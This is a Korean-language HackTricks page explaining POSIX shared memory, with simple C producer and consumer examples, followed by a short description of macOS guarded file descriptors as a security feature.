POSIX ๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ๋Š” POSIX ํ˜ธํ™˜ ์šด์˜ ์ฒด์ œ์—์„œ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๊ณตํ†ต ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜์—ฌ ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค ๊ฐ„ ํ†ต์‹  ๋ฐฉ๋ฒ•์— ๋น„ํ•ด ๋” ๋น ๋ฅธ ํ†ต์‹ ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” shm_open()์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜ ์—ด๊ณ , ftruncate()๋กœ ํฌ๊ธฐ๋ฅผ ์„ค์ •ํ•˜๋ฉฐ, mmap()์„ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋กœ์„ธ์Šค์˜ ์ฃผ์†Œ ๊ณต๊ฐ„์— ๋งคํ•‘ํ•˜๋Š” ๊ณผ์ •์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ํ”„๋กœ์„ธ์Šค๋Š” ์ด ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์—์„œ ์ง์ ‘ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋™์‹œ ์ ‘๊ทผ์„ ๊ด€๋ฆฌํ•˜๊ณ  ๋ฐ์ดํ„ฐ ์†์ƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋ฎคํ…์Šค๋‚˜ ์„ธ๋งˆํฌ์–ด์™€ ๊ฐ™์€ ๋™๊ธฐํ™” ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์ž์ฃผ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋งˆ์ง€๋ง‰์œผ๋กœ, ํ”„๋กœ์„ธ์Šค๋Š” munmap()๊ณผ close()๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์–ธ๋งคํ•‘ํ•˜๊ณ  ๋‹ซ์œผ๋ฉฐ, ์„ ํƒ์ ์œผ๋กœ shm_unlink()๋กœ ๋ฉ”๋ชจ๋ฆฌ ๊ฐ์ฒด๋ฅผ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ์ด ์‹œ์Šคํ…œ์€ ์—ฌ๋Ÿฌ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๊ณต์œ  ๋ฐ์ดํ„ฐ์— ๋น ๋ฅด๊ฒŒ ์ ‘๊ทผํ•ด์•ผ ํ•˜๋Š” ํ™˜๊ฒฝ์—์„œ ํšจ์œจ์ ์ด๊ณ  ๋น ๋ฅธ IPC๋ฅผ ์œ„ํ•ด ํŠนํžˆ ํšจ๊ณผ์ ์ž…๋‹ˆ๋‹ค.

์ƒ์‚ฐ์ž ์ฝ”๋“œ ์˜ˆ์ œ ```c // gcc producer.c -o producer -lrt #include #include #include #include #include #include

int main() { const char *name = โ€œ/my_shared_memoryโ€; const int SIZE = 4096; // Size of the shared memory object

// Create the shared memory object int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666); if (shm_fd == -1) { perror(โ€œshm_openโ€); return EXIT_FAILURE; }

// Configure the size of the shared memory object if (ftruncate(shm_fd, SIZE) == -1) { perror(โ€œftruncateโ€); return EXIT_FAILURE; }

// Memory map the shared memory void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0); if (ptr == MAP_FAILED) { perror(โ€œmmapโ€); return EXIT_FAILURE; }

// Write to the shared memory sprintf(ptr, โ€œHello from Producer!โ€);

// Unmap and close, but do not unlink munmap(ptr, SIZE); close(shm_fd);

return 0; }

</details>

<details>

<summary>์†Œ๋น„์ž ์ฝ”๋“œ ์˜ˆ์ œ</summary>
```c
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object

// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}

// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}

// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);

// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink

return 0;
}

macOS ๋ณดํ˜ธ๋œ ์„ค๋ช…์ž

macOS ๋ณดํ˜ธ๋œ ์„ค๋ช…์ž๋Š” ์‚ฌ์šฉ์ž ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ํŒŒ์ผ ์„ค๋ช…์ž ์ž‘์—…์˜ ์•ˆ์ „์„ฑ๊ณผ ์‹ ๋ขฐ์„ฑ์„ ํ–ฅ์ƒ์‹œํ‚ค๊ธฐ ์œ„ํ•ด macOS์— ๋„์ž…๋œ ๋ณด์•ˆ ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ณดํ˜ธ๋œ ์„ค๋ช…์ž๋Š” ํŒŒ์ผ ์„ค๋ช…์ž์™€ ํŠน์ • ์ œํ•œ ๋˜๋Š” โ€œ๊ฐ€๋“œโ€œ๋ฅผ ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•˜๋ฉฐ, ์ด๋Š” ์ปค๋„์— ์˜ํ•ด ์‹œํ–‰๋ฉ๋‹ˆ๋‹ค.

์ด ๊ธฐ๋Šฅ์€ ๋ฌด๋‹จ ํŒŒ์ผ ์ ‘๊ทผ ๋˜๋Š” ๊ฒฝ์Ÿ ์กฐ๊ฑด๊ณผ ๊ฐ™์€ ํŠน์ • ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ๋ฐฉ์ง€ํ•˜๋Š” ๋ฐ ํŠนํžˆ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์€ ์˜ˆ๋ฅผ ๋“ค์–ด, ์Šค๋ ˆ๋“œ๊ฐ€ ํŒŒ์ผ ์„ค๋ช…์„œ์— ์ ‘๊ทผํ•  ๋•Œ ๋‹ค๋ฅธ ์ทจ์•ฝํ•œ ์Šค๋ ˆ๋“œ๊ฐ€ ๊ทธ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ๋˜๋Š” ํŒŒ์ผ ์„ค๋ช…์ž๊ฐ€ ์ทจ์•ฝํ•œ ์ž์‹ ํ”„๋กœ์„ธ์Šค์— ์˜ํ•ด ์ƒ์†๋˜๋Š” ๊ฒฝ์šฐ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ๊ณผ ๊ด€๋ จ๋œ ์ผ๋ถ€ ํ•จ์ˆ˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • guarded_open_np: ๊ฐ€๋“œ์™€ ํ•จ๊ป˜ FD๋ฅผ ์—ฝ๋‹ˆ๋‹ค
  • guarded_close_np: ๋‹ซ์Šต๋‹ˆ๋‹ค
  • change_fdguard_np: ์„ค๋ช…์ž์˜ ๊ฐ€๋“œ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค (๊ฐ€๋“œ ๋ณดํ˜ธ๋ฅผ ์ œ๊ฑฐํ•˜๋Š” ๊ฒƒ๋„ ํฌํ•จ)

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ